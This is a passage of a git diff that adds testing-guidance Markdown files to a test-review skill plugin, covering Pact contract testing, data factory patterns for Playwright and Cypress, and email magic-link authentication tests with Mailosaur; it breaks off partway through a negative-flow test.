+ * - OpenAPI: server/openapi.yaml paths./api/v2/users/{userId}.get (if available)
+ * - Response type: UserResponseDto (server/src/types/user.ts:12)
+ * - Status: 200 (line 52), 404 (line 48)
+ * - Fields: { id: number, name: string, email: string, role: "user" | "admin", createdAt: string }
+ * - Required request headers: Authorization (Bearer token)
+ * - Validation: Zod schema at server/src/validation/user.ts:8
+ */
+```
+
+### Graceful Degradation
+
+When provider source code is not accessible (different repo, no access, closed source):
+
+1. **OpenAPI/Swagger spec available**: Use the spec as the source of truth for response shapes, status codes, and field names
+2. **Pact Broker has existing contracts**: Use `pact_mcp` tools to fetch existing provider states and verified interactions as reference
+3. **Neither available**: Generate contracts from consumer-side types but use the TODO form of the mandatory comment: `// Provider endpoint: TODO — provider source not accessible, verify manually` and add a `provider_scrutiny: "pending"` field to the output JSON
+4. **Never silently guess**: If you cannot verify, document what you assumed and why
+
+---
+
+## Contract Testing Checklist
+
+Before implementing contract testing, verify:
+
+- [ ] **Pact Broker setup**: Hosted (Pactflow) or self-hosted broker configured
+- [ ] **Consumer tests**: Generate pacts in CI, publish to broker on merge
+- [ ] **Provider verification**: Runs on PR, verifies all consumer pacts
+- [ ] **State handlers**: Provider implements all given() states
+- [ ] **can-i-deploy**: Blocks deployment if contracts incompatible
+- [ ] **Webhooks configured**: Consumer changes trigger provider verification
+- [ ] **Retention policy**: Old pacts archived (keep 30 days, all production tags)
+- [ ] **Resilience tested**: Timeouts, retries, error codes in contracts
+- [ ] **Provider endpoint comments**: Every Pact interaction has `// Provider endpoint:` comment
+- [ ] **Provider scrutiny completed**: Seven-point checklist verified for each interaction
+- [ ] **Scrutiny evidence documented**: Block comment with handler, types, status codes, and fields
+
+## Integration Points
+
+- Used in workflows: `*automate` (integration test generation), `*ci` (contract CI setup)
+- Related fragments: `test-levels-framework.md`, `ci-burn-in.md`, `pact-consumer-framework-setup.md`
+- Tools: Pact.js, Pact Broker (Pactflow or self-hosted), Pact CLI
+
+---
+
+## Pact.js Utils Accelerator
+
+When `tea_use_pactjs_utils` is enabled, the following utilities replace manual boilerplate:
+
+| Manual Pattern (raw Pact.js)                             | Pact.js Utils Equivalent                                                          | Benefit                                                               |
+| -------------------------------------------------------- | --------------------------------------------------------------------------------- | --------------------------------------------------------------------- |
+| Manual `JsonMap` casting for `.given()` params           | `createProviderState({ name, params })`                                           | Type-safe, auto-conversion of Date/null/nested objects                |
+| Repeated builder callbacks for query/header/body         | `setJsonContent({ query, headers, body })`                                        | Reusable callback for `.withRequest(...)` and `.willRespondWith(...)` |
+| Inline body lambda `(builder) => builder.jsonBody(body)` | `setJsonBody(body)`                                                               | Body-only shorthand for cleaner response builders                     |
+| 30+ lines of `VerifierOptions` assembly                  | `buildVerifierOptions({ provider, port, includeMainAndDeployed, stateHandlers })` | One-call setup, env-aware, flow auto-detection                        |
+| Manual broker URL + selector logic from env vars         | `handlePactBrokerUrlAndSelectors({ ..., options })`                               | Mutates options in-place with broker URL and selectors                |
+| DIY Express middleware for auth injection                | `createRequestFilter({ tokenGenerator })`                                         | Bearer prefix contract prevents double-prefix bugs                    |
+| Manual CI branch/tag extraction                          | `getProviderVersionTags()`                                                        | CI-aware (GitHub Actions, GitLab CI, etc.)                            |
+| Message verifier config assembly                         | `buildMessageVerifierOptions({ provider, messageProviders })`                     | Same one-call pattern for Kafka/async contracts                       |
+| Inline no-op filter `(req, res, next) => next()`         | `noOpRequestFilter`                                                               | Pre-built pass-through for no-auth providers                          |
+
+See the `pactjs-utils-*.md` knowledge fragments for complete examples and anti-patterns.
+
+_Source: Pact consumer/provider sample repos, Murat contract testing blog, Pact official documentation, @seontechnologies/pactjs-utils library_
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/data-factories.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/data-factories.md
new file mode 100644
index 0000000..6820a30
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/data-factories.md
@@ -0,0 +1,500 @@
+# Data Factories and API-First Setup
+
+## Principle
+
+Prefer factory functions that accept overrides and return complete objects (`createUser(overrides)`). Seed test state through APIs, tasks, or direct DB helpers before visiting the UI—never via slow UI interactions. UI is for validation only, not setup.
+
+## Rationale
+
+Static fixtures (JSON files, hardcoded objects) create brittle tests that:
+
+- Fail when schemas evolve (missing new required fields)
+- Cause collisions in parallel execution (same user IDs)
+- Hide test intent (what matters for _this_ test?)
+
+Dynamic factories with overrides provide:
+
+- **Parallel safety**: UUIDs and timestamps prevent collisions
+- **Schema evolution**: Defaults adapt to schema changes automatically
+- **Explicit intent**: Overrides show what matters for each test
+- **Speed**: API setup is 10-50x faster than UI
+
+## Pattern Examples
+
+### Example 1: Factory Function with Overrides
+
+**Context**: When creating test data, build factory functions with sensible defaults and explicit overrides. Use `faker` for dynamic values that prevent collisions.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts
+import { faker } from '@faker-js/faker';
+
+type User = {
+  id: string;
+  email: string;
+  name: string;
+  role: 'user' | 'admin' | 'moderator';
+  createdAt: Date;
+  isActive: boolean;
+};
+
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// test-utils/factories/product-factory.ts
+type Product = {
+  id: string;
+  name: string;
+  price: number;
+  stock: number;
+  category: string;
+};
+
+export const createProduct = (overrides: Partial<Product> = {}): Product => ({
+  id: faker.string.uuid(),
+  name: faker.commerce.productName(),
+  price: parseFloat(faker.commerce.price()),
+  stock: faker.number.int({ min: 0, max: 100 }),
+  category: faker.commerce.department(),
+  ...overrides,
+});
+
+// Usage in tests:
+test('admin can delete users', async ({ page, apiRequest }) => {
+  // Default user
+  const user = createUser();
+
+  // Admin user (explicit override shows intent)
+  const admin = createUser({ role: 'admin' });
+
+  // Seed via API (fast!)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+
+  // Now test UI behavior
+  await page.goto('/admin/users');
+  await page.click(`[data-testid="delete-user-${user.id}"]`);
+  await expect(page.getByText(`User ${user.name} deleted`)).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- `Partial<User>` allows overriding any field without breaking type safety
+- Faker generates unique values—no collisions in parallel tests
+- Override shows test intent: `createUser({ role: 'admin' })` is explicit
+- Factory lives in `test-utils/factories/` for easy reuse
+
+### Example 2: Nested Factory Pattern
+
+**Context**: When testing relationships (orders with users and products), nest factories to create complete object graphs. Control relationship data explicitly.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/order-factory.ts
+import { createUser } from './user-factory';
+import { createProduct } from './product-factory';
+
+type OrderItem = {
+  product: Product;
+  quantity: number;
+  price: number;
+};
+
+type Order = {
+  id: string;
+  user: User;
+  items: OrderItem[];
+  total: number;
+  status: 'pending' | 'paid' | 'shipped' | 'delivered';
+  createdAt: Date;
+};
+
+export const createOrderItem = (overrides: Partial<OrderItem> = {}): OrderItem => {
+  const product = overrides.product || createProduct();
+  const quantity = overrides.quantity || faker.number.int({ min: 1, max: 5 });
+
+  return {
+    product,
+    quantity,
+    price: product.price * quantity,
+    ...overrides,
+  };
+};
+
+export const createOrder = (overrides: Partial<Order> = {}): Order => {
+  const items = overrides.items || [createOrderItem(), createOrderItem()];
+  const total = items.reduce((sum, item) => sum + item.price, 0);
+
+  return {
+    id: faker.string.uuid(),
+    user: overrides.user || createUser(),
+    items,
+    total,
+    status: 'pending',
+    createdAt: new Date(),
+    ...overrides,
+  };
+};
+
+// Usage in tests:
+test('user can view order details', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'test@example.com' });
+  const product1 = createProduct({ name: 'Widget A', price: 10.0 });
+  const product2 = createProduct({ name: 'Widget B', price: 15.0 });
+
+  // Explicit relationships
+  const order = createOrder({
+    user,
+    items: [
+      createOrderItem({ product: product1, quantity: 2 }), // $20
+      createOrderItem({ product: product2, quantity: 1 }), // $15
+    ],
+  });
+
+  // Seed via API
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product1 });
+  await apiRequest({ method: 'POST', url: '/api/products', data: product2 });
+  await apiRequest({ method: 'POST', url: '/api/orders', data: order });
+
+  // Test UI
+  await page.goto(`/orders/${order.id}`);
+  await expect(page.getByText('Widget A x 2')).toBeVisible();
+  await expect(page.getByText('Widget B x 1')).toBeVisible();
+  await expect(page.getByText('Total: $35.00')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Nested factories handle relationships (order → user, order → products)
+- Overrides cascade: provide custom user/products or use defaults
+- Calculated fields (total) derived automatically from nested data
+- Explicit relationships make test data clear and maintainable
+
+### Example 3: Factory with API Seeding
+
+**Context**: When tests need data setup, always use API calls or database tasks—never UI navigation. Wrap factory usage with seeding utilities for clean test setup.
+
+**Implementation**:
+
+```typescript
+// playwright/support/helpers/seed-helpers.ts
+import { APIRequestContext } from '@playwright/test';
+import { User, createUser } from '../../test-utils/factories/user-factory';
+import { Product, createProduct } from '../../test-utils/factories/product-factory';
+
+export async function seedUser(request: APIRequestContext, overrides: Partial<User> = {}): Promise<User> {
+  const user = createUser(overrides);
+
+  const response = await request.post('/api/users', {
+    data: user,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed user: ${response.status()}`);
+  }
+
+  return user;
+}
+
+export async function seedProduct(request: APIRequestContext, overrides: Partial<Product> = {}): Promise<Product> {
+  const product = createProduct(overrides);
+
+  const response = await request.post('/api/products', {
+    data: product,
+  });
+
+  if (!response.ok()) {
+    throw new Error(`Failed to seed product: ${response.status()}`);
+  }
+
+  return product;
+}
+
+// Playwright globalSetup for shared data
+// playwright/support/global-setup.ts
+import { chromium, FullConfig } from '@playwright/test';
+import { seedUser } from './helpers/seed-helpers';
+
+async function globalSetup(config: FullConfig) {
+  const browser = await chromium.launch();
+  const page = await browser.newPage();
+  const context = page.context();
+
+  // Seed admin user for all tests
+  const admin = await seedUser(context.request, {
+    email: 'admin@example.com',
+    role: 'admin',
+  });
+
+  // Save auth state for reuse
+  await context.storageState({ path: 'playwright/.auth/admin.json' });
+
+  await browser.close();
+}
+
+export default globalSetup;
+
+// Cypress equivalent with cy.task
+// cypress/support/tasks.ts
+export const seedDatabase = async (entity: string, data: unknown) => {
+  // Direct database insert or API call
+  if (entity === 'users') {
+    await db.users.create(data);
+  }
+  return null;
+};
+
+// Usage in Cypress tests:
+beforeEach(() => {
+  const user = createUser({ email: 'test@example.com' });
+  cy.task('db:seed', { entity: 'users', data: user });
+});
+```
+
+**Key Points**:
+
+- API seeding is 10-50x faster than UI-based setup
+- `globalSetup` seeds shared data once (e.g., admin user)
+- Per-test seeding uses `seedUser()` helpers for isolation
+- Cypress `cy.task` allows direct database access for speed
+
+### Example 4: Anti-Pattern - Hardcoded Test Data
+
+**Problem**:
+
+```typescript
+// ❌ BAD: Hardcoded test data
+test('user can login', async ({ page }) => {
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', 'test@test.com'); // Hardcoded
+  await page.fill('[data-testid="password"]', 'password123'); // Hardcoded
+  await page.click('[data-testid="submit"]');
+
+  // What if this user already exists? Test fails in parallel runs.
+  // What if schema adds required fields? Test breaks.
+});
+
+// ❌ BAD: Static JSON fixtures
+// fixtures/users.json
+{
+  "users": [
+    { "id": 1, "email": "user1@test.com", "name": "User 1" },
+    { "id": 2, "email": "user2@test.com", "name": "User 2" }
+  ]
+}
+
+test('admin can delete user', async ({ page }) => {
+  const users = require('../fixtures/users.json');
+  // Brittle: IDs collide in parallel, schema drift breaks tests
+});
+```
+
+**Why It Fails**:
+
+- **Parallel collisions**: Hardcoded IDs (`id: 1`, `email: 'test@test.com'`) cause failures when tests run concurrently
+- **Schema drift**: Adding required fields (`phoneNumber`, `address`) breaks all tests using fixtures
+- **Hidden intent**: Does this test need `email: 'test@test.com'` specifically, or any email?
+- **Slow setup**: UI-based data creation is 10-50x slower than API
+
+**Better Approach**: Use factories
+
+```typescript
+// ✅ GOOD: Factory-based data
+test('user can login', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'unique@example.com', password: 'secure123' });
+
+  // Seed via API (fast, parallel-safe)
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+
+  // Test UI
+  await page.goto('/login');
+  await page.fill('[data-testid="email"]', user.email);
+  await page.fill('[data-testid="password"]', user.password);
+  await page.click('[data-testid="submit"]');
+
+  await expect(page).toHaveURL('/dashboard');
+});
+
+// ✅ GOOD: Factories adapt to schema changes automatically
+// When `phoneNumber` becomes required, update factory once:
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  phoneNumber: faker.phone.number(), // NEW field, all tests get it automatically
+  role: 'user',
+  ...overrides,
+});
+```
+
+**Key Points**:
+
+- Factories generate unique, parallel-safe data
+- Schema evolution handled in one place (factory), not every test
+- Test intent explicit via overrides
+- API seeding is fast and reliable
+
+### Example 5: Factory Composition
+
+**Context**: When building specialized factories, compose simpler factories instead of duplicating logic. Layer overrides for specific test scenarios.
+
+**Implementation**:
+
+```typescript
+// test-utils/factories/user-factory.ts (base)
+export const createUser = (overrides: Partial<User> = {}): User => ({
+  id: faker.string.uuid(),
+  email: faker.internet.email(),
+  name: faker.person.fullName(),
+  role: 'user',
+  createdAt: new Date(),
+  isActive: true,
+  ...overrides,
+});
+
+// Compose specialized factories
+export const createAdminUser = (overrides: Partial<User> = {}): User => createUser({ role: 'admin', ...overrides });
+
+export const createModeratorUser = (overrides: Partial<User> = {}): User => createUser({ role: 'moderator', ...overrides });
+
+export const createInactiveUser = (overrides: Partial<User> = {}): User => createUser({ isActive: false, ...overrides });
+
+// Account-level factories with feature flags
+type Account = {
+  id: string;
+  owner: User;
+  plan: 'free' | 'pro' | 'enterprise';
+  features: string[];
+  maxUsers: number;
+};
+
+export const createAccount = (overrides: Partial<Account> = {}): Account => ({
+  id: faker.string.uuid(),
+  owner: overrides.owner || createUser(),
+  plan: 'free',
+  features: [],
+  maxUsers: 1,
+  ...overrides,
+});
+
+export const createProAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'pro',
+    features: ['advanced-analytics', 'priority-support'],
+    maxUsers: 10,
+    ...overrides,
+  });
+
+export const createEnterpriseAccount = (overrides: Partial<Account> = {}): Account =>
+  createAccount({
+    plan: 'enterprise',
+    features: ['advanced-analytics', 'priority-support', 'sso', 'audit-logs'],
+    maxUsers: 100,
+    ...overrides,
+  });
+
+// Usage in tests:
+test('pro accounts can access analytics', async ({ page, apiRequest }) => {
+  const admin = createAdminUser({ email: 'admin@company.com' });
+  const account = createProAccount({ owner: admin });
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: admin });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Advanced Analytics')).toBeVisible();
+});
+
+test('free accounts cannot access analytics', async ({ page, apiRequest }) => {
+  const user = createUser({ email: 'user@company.com' });
+  const account = createAccount({ owner: user }); // Defaults to free plan
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  await apiRequest({ method: 'POST', url: '/api/accounts', data: account });
+
+  await page.goto('/analytics');
+  await expect(page.getByText('Upgrade to Pro')).toBeVisible();
+});
+```
+
+**Key Points**:
+
+- Compose specialized factories from base factories (`createAdminUser` → `createUser`)
+- Defaults cascade: `createProAccount` sets plan + features automatically
+- Still allow overrides: `createProAccount({ maxUsers: 50 })` works
+- Test intent clear: `createProAccount()` vs `createAccount({ plan: 'pro', features: [...] })`
+
+## Integration Points
+
+- **Used in workflows**: `*atdd` (test generation), `*automate` (test expansion), `*framework` (factory setup)
+- **Related fragments**:
+  - `fixture-architecture.md` - Pure functions and fixtures for factory integration
+  - `network-first.md` - API-first setup patterns
+  - `test-quality.md` - Parallel-safe, deterministic test design
+
+## Cleanup Strategy
+
+Ensure factories work with cleanup patterns:
+
+```typescript
+// Track created IDs for cleanup
+const createdUsers: string[] = [];
+
+afterEach(async ({ apiRequest }) => {
+  // Clean up all users created during test
+  for (const userId of createdUsers) {
+    await apiRequest({ method: 'DELETE', url: `/api/users/${userId}` });
+  }
+  createdUsers.length = 0;
+});
+
+test('user registration flow', async ({ page, apiRequest }) => {
+  const user = createUser();
+  createdUsers.push(user.id);
+
+  await apiRequest({ method: 'POST', url: '/api/users', data: user });
+  // ... test logic
+});
+```
+
+## Feature Flag Integration
+
+When working with feature flags, layer them into factories:
+
+```typescript
+export const createUserWithFlags = (
+  overrides: Partial<User> = {},
+  flags: Record<string, boolean> = {},
+): User & { flags: Record<string, boolean> } => ({
+  ...createUser(overrides),
+  flags: {
+    'new-dashboard': false,
+    'beta-features': false,
+    ...flags,
+  },
+});
+
+// Usage:
+const user = createUserWithFlags(
+  { email: 'test@example.com' },
+  {
+    'new-dashboard': true,
+    'beta-features': true,
+  },
+);
+```
+
+_Source: Murat Testing Philosophy (lines 94-120), API-first testing patterns, faker.js documentation._
diff --git a/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/email-auth.md b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/email-auth.md
new file mode 100644
index 0000000..653a8eb
--- /dev/null
+++ b/plugins/bmad/skills/bmad-testarch-test-review/resources/knowledge/email-auth.md
@@ -0,0 +1,721 @@
+# Email-Based Authentication Testing
+
+## Principle
+
+Email-based authentication (magic links, one-time codes, passwordless login) requires specialized testing with email capture services like Mailosaur or Ethereal. Extract magic links via HTML parsing or use built-in link extraction, preserve browser storage (local/session/cookies) when processing links, cache email payloads to avoid exhausting inbox quotas, and cover negative cases (expired links, reused links, multiple rapid requests). Log email IDs and links for troubleshooting, but scrub PII before committing artifacts.
+
+## Rationale
+
+Email authentication introduces unique challenges: asynchronous email delivery, quota limits (AWS Cognito: 50/day), cost per email, and complex state management (session preservation across link clicks). Without proper patterns, tests become slow (wait for email each time), expensive (quota exhaustion), and brittle (timing issues, missing state). Using email capture services + session caching + state preservation patterns makes email auth tests fast, reliable, and cost-effective.
+
+## Pattern Examples
+
+### Example 1: Magic Link Extraction with Mailosaur
+
+**Context**: Passwordless login flow where user receives magic link via email, clicks it, and is authenticated.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/magic-link-auth.spec.ts
+import { test, expect } from '@playwright/test';
+
+/**
+ * Magic Link Authentication Flow
+ * 1. User enters email
+ * 2. Backend sends magic link
+ * 3. Test retrieves email via Mailosaur
+ * 4. Extract and visit magic link
+ * 5. Verify user is authenticated
+ */
+
+// Mailosaur configuration
+const MAILOSAUR_API_KEY = process.env.MAILOSAUR_API_KEY!;
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+/**
+ * Extract href from HTML email body
+ * DOMParser provides XML/HTML parsing in Node.js
+ */
+function extractMagicLink(htmlString: string): string | null {
+  const { JSDOM } = require('jsdom');
+  const dom = new JSDOM(htmlString);
+  const link = dom.window.document.querySelector('#magic-link-button');
+  return link ? (link as HTMLAnchorElement).href : null;
+}
+
+/**
+ * Alternative: Use Mailosaur's built-in link extraction
+ * Mailosaur automatically parses links - no regex needed!
+ */
+async function getMagicLinkFromEmail(email: string): Promise<string> {
+  const MailosaurClient = require('mailosaur');
+  const mailosaur = new MailosaurClient(MAILOSAUR_API_KEY);
+
+  // Wait for email (timeout: 30 seconds)
+  const message = await mailosaur.messages.get(
+    MAILOSAUR_SERVER_ID,
+    {
+      sentTo: email,
+    },
+    {
+      timeout: 30000, // 30 seconds
+    },
+  );
+
+  // Mailosaur extracts links automatically - no parsing needed!
+  const magicLink = message.html?.links?.[0]?.href;
+
+  if (!magicLink) {
+    throw new Error(`Magic link not found in email to ${email}`);
+  }
+
+  console.log(`📧 Email received. Magic link extracted: ${magicLink}`);
+  return magicLink;
+}
+
+test.describe('Magic Link Authentication', () => {
+  test('should authenticate user via magic link', async ({ page, context }) => {
+    // Arrange: Generate unique test email
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Act: Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Assert: Success message
+    await expect(page.getByTestId('check-email-message')).toBeVisible();
+    await expect(page.getByTestId('check-email-message')).toContainText('Check your email');
+
+    // Retrieve magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit magic link
+    await page.goto(magicLink);
+
+    // Assert: User is authenticated
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+    await expect(page.getByTestId('user-email')).toContainText(testEmail);
+
+    // Verify session storage preserved
+    const localStorage = await page.evaluate(() => JSON.stringify(window.localStorage));
+    expect(localStorage).toContain('authToken');
+  });
+
+  test('should handle expired magic link', async ({ page }) => {
+    // Use pre-expired link (older than 15 minutes)
+    const expiredLink = 'http://localhost:3000/auth/verify?token=expired-token-123';
+
+    await page.goto(expiredLink);
+
+    // Assert: Error message displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has expired');
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should prevent reusing magic link', async ({ page }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link first time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
+    await page.getByTestId('sign-out').click();
+
+    // Try to reuse same link (should fail)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText('link has already been used');
+  });
+});
+```
+
+**Cypress equivalent with Mailosaur plugin**:
+
+```javascript
+// cypress/e2e/magic-link-auth.cy.ts
+describe('Magic Link Authentication', () => {
+  it('should authenticate user via magic link', () => {
+    const serverId = Cypress.env('MAILOSAUR_SERVERID');
+    const randomId = Cypress._.random(1e6);
+    const testEmail = `user-${randomId}@${serverId}.mailosaur.net`;
+
+    // Request magic link
+    cy.visit('/login');
+    cy.get('[data-cy="email-input"]').type(testEmail);
+    cy.get('[data-cy="send-magic-link"]').click();
+    cy.get('[data-cy="check-email-message"]').should('be.visible');
+
+    // Retrieve and visit magic link
+    cy.mailosaurGetMessage(serverId, { sentTo: testEmail })
+      .its('html.links.0.href') // Mailosaur extracts links automatically!
+      .should('exist')
+      .then((magicLink) => {
+        cy.log(`Magic link: ${magicLink}`);
+        cy.visit(magicLink);
+      });
+
+    // Verify authenticated
+    cy.get('[data-cy="user-menu"]').should('be.visible');
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+});
+```
+
+**Key Points**:
+
+- **Mailosaur auto-extraction**: `html.links[0].href` or `html.codes[0].value`
+- **Unique emails**: Random ID prevents collisions
+- **Negative testing**: Expired and reused links tested
+- **State verification**: localStorage/session checked
+- **Fast email retrieval**: 30 second timeout typical
+
+---
+
+### Example 2: State Preservation Pattern with cy.session / Playwright storageState
+
+**Context**: Cache authenticated session to avoid requesting magic link on every test.
+
+**Implementation**:
+
+```typescript
+// playwright/fixtures/email-auth-fixture.ts
+import { test as base } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+type EmailAuthFixture = {
+  authenticatedUser: { email: string; token: string };
+};
+
+export const test = base.extend<EmailAuthFixture>({
+  authenticatedUser: async ({ page, context }, use) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${process.env.MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Check if we have cached auth state for this email
+    const storageStatePath = `./test-results/auth-state-${testEmail}.json`;
+
+    try {
+      // Try to reuse existing session
+      await context.storageState({ path: storageStatePath });
+      await page.goto('/dashboard');
+
+      // Validate session is still valid
+      const isAuthenticated = await page.getByTestId('user-menu').isVisible({ timeout: 2000 });
+
+      if (isAuthenticated) {
+        console.log(`✅ Reusing cached session for ${testEmail}`);
+        await use({ email: testEmail, token: 'cached' });
+        return;
+      }
+    } catch (error) {
+      console.log(`📧 No cached session, requesting magic link for ${testEmail}`);
+    }
+
+    // Request new magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    // Get magic link from email
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link and authenticate
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Extract auth token from localStorage
+    const authToken = await page.evaluate(() => localStorage.getItem('authToken'));
+
+    // Save session state for reuse
+    await context.storageState({ path: storageStatePath });
+
+    console.log(`💾 Cached session for ${testEmail}`);
+
+    await use({ email: testEmail, token: authToken || '' });
+  },
+});
+```
+
+**Cypress equivalent with cy.session + data-session**:
+
+```javascript
+// cypress/support/commands/email-auth.js
+import { dataSession } from 'cypress-data-session';
+
+/**
+ * Authenticate via magic link with session caching
+ * - First run: Requests email, extracts link, authenticates
+ * - Subsequent runs: Reuses cached session (no email)
+ */
+Cypress.Commands.add('authViaMagicLink', (email) => {
+  return dataSession({
+    name: `magic-link-${email}`,
+
+    // First-time setup: Request and process magic link
+    setup: () => {
+      cy.visit('/login');
+      cy.get('[data-cy="email-input"]').type(email);
+      cy.get('[data-cy="send-magic-link"]').click();
+
+      // Get magic link from Mailosaur
+      cy.mailosaurGetMessage(Cypress.env('MAILOSAUR_SERVERID'), {
+        sentTo: email,
+      })
+        .its('html.links.0.href')
+        .should('exist')
+        .then((magicLink) => {
+          cy.visit(magicLink);
+        });
+
+      // Wait for authentication
+      cy.get('[data-cy="user-menu"]', { timeout: 10000 }).should('be.visible');
+
+      // Preserve authentication state
+      return cy.getAllLocalStorage().then((storage) => {
+        return { storage, email };
+      });
+    },
+
+    // Validate cached session is still valid
+    validate: (cached) => {
+      return cy.wrap(Boolean(cached?.storage));
+    },
+
+    // Recreate session from cache (no email needed)
+    recreate: (cached) => {
+      // Restore localStorage
+      cy.setLocalStorage(cached.storage);
+      cy.visit('/dashboard');
+      cy.get('[data-cy="user-menu"]', { timeout: 5000 }).should('be.visible');
+    },
+
+    shareAcrossSpecs: true, // Share session across all tests
+  });
+});
+```
+
+**Usage in tests**:
+
+```javascript
+// cypress/e2e/dashboard.cy.ts
+describe('Dashboard', () => {
+  const serverId = Cypress.env('MAILOSAUR_SERVERID');
+  const testEmail = `test-user@${serverId}.mailosaur.net`;
+
+  beforeEach(() => {
+    // First test: Requests magic link
+    // Subsequent tests: Reuses cached session (no email!)
+    cy.authViaMagicLink(testEmail);
+  });
+
+  it('should display user dashboard', () => {
+    cy.get('[data-cy="dashboard-content"]').should('be.visible');
+  });
+
+  it('should show user profile', () => {
+    cy.get('[data-cy="user-email"]').should('contain', testEmail);
+  });
+
+  // Both tests share same session - only 1 email consumed!
+});
+```
+
+**Key Points**:
+
+- **Session caching**: First test requests email, rest reuse session
+- **State preservation**: localStorage/cookies saved and restored
+- **Validation**: Check cached session is still valid
+- **Quota optimization**: Massive reduction in email consumption
+- **Fast tests**: Cached auth takes seconds vs. minutes
+
+---
+
+### Example 3: Negative Flow Tests (Expired, Invalid, Reused Links)
+
+**Context**: Comprehensive negative testing for email authentication edge cases.
+
+**Implementation**:
+
+```typescript
+// tests/e2e/email-auth-negative.spec.ts
+import { test, expect } from '@playwright/test';
+import { getMagicLinkFromEmail } from '../support/mailosaur-helpers';
+
+const MAILOSAUR_SERVER_ID = process.env.MAILOSAUR_SERVER_ID!;
+
+test.describe('Email Auth Negative Flows', () => {
+  test('should reject expired magic link', async ({ page }) => {
+    // Generate expired link (simulate 24 hours ago)
+    const expiredToken = Buffer.from(
+      JSON.stringify({
+        email: 'test@example.com',
+        exp: Date.now() - 24 * 60 * 60 * 1000, // 24 hours ago
+      }),
+    ).toString('base64');
+
+    const expiredLink = `http://localhost:3000/auth/verify?token=${expiredToken}`;
+
+    // Visit expired link
+    await page.goto(expiredLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/link.*expired|expired.*link/i);
+
+    // Assert: Link to request new one
+    await expect(page.getByTestId('request-new-link')).toBeVisible();
+
+    // Assert: User NOT authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject invalid magic link token', async ({ page }) => {
+    const invalidLink = 'http://localhost:3000/auth/verify?token=invalid-garbage';
+
+    await page.goto(invalidLink);
+
+    // Assert: Error displayed
+    await expect(page.getByTestId('error-message')).toBeVisible();
+    await expect(page.getByTestId('error-message')).toContainText(/invalid.*link|link.*invalid/i);
+
+    // Assert: User not authenticated
+    await expect(page.getByTestId('user-menu')).not.toBeVisible();
+  });
+
+  test('should reject already-used magic link', async ({ page, context }) => {
+    const randomId = Math.floor(Math.random() * 1000000);
+    const testEmail = `user-${randomId}@${MAILOSAUR_SERVER_ID}.mailosaur.net`;
+
+    // Request magic link
+    await page.goto('/login');
+    await page.getByTestId('email-input').fill(testEmail);
+    await page.getByTestId('send-magic-link').click();
+
+    const magicLink = await getMagicLinkFromEmail(testEmail);
+
+    // Visit link FIRST time (success)
+    await page.goto(magicLink);
+    await expect(page.getByTestId('user-menu')).toBeVisible();
+
+    // Sign out
